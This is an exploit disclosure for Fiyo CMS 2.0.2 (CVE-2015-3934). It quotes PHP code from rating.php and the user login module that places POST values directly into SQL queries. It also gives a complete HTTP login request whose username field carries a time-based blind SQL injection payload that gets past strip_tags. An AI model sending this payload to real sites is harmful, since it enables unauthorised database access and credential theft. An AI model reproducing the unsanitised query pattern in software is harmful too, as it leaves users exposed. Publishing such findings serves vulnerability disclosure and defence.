# Exploit Title: Fiyo CMS multiple SQL vulnerability
# Date: 2015-06-28
# Exploit Author: cfreer (poc-lab)
# Vendor Homepage:  http://www.fiyo.org/
# Software Link:
http://tcpdiag.dl.sourceforge.net/project/fiyo-cms/Fiyo%202.0/fiyo_cms_2.0.2.zip
# Version: 2.0_1.9.1
# Tested on: Apache/2.4.7 (Win32)
# CVE : CVE-2015-3934


1、

The vulnerable file is /apps/app_article/controller/rating.php, because the
rating.php includes jscore.php, so we must add referer in
HTTP Data Stream to bypass the limits of authority.when the 'do' equal
'rate' the vulnerable is same too.


require('../../../system/jscore.php');

if(!isset($_POST['id']))
header('../../../');
else {
$id = $_POST['id'];
 $db = new FQuery();
$db->connect();
$qrs = $db->select(FDBPrefix.'article','*',"id=$id");
$qrs = $qrs[0];


POC:

POC:

POST /fiyocms/user/login HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:37.0) Gecko/20100101
Firefox/37.0

Content-Type: application/x-www-form-urlencoded
Content-Length: 71

user='%2B(select(0)from(select(sleep(5)))v)%2B'&pass=poc-lab&login=Login


The vulnerable file is \apps\app_user\sys_user.php

if(isset($_POST['login'])) {
$_POST['user'] = strip_tags($_POST['user']);
$qr = $db->select(FDBPrefix."user","*","status=1 AND user='$_POST[user]'
AND password='".MD5($_POST['pass'])."'");


The parameter of user is vulnerable. strip_tags doesn't work, Still can be
bypass.
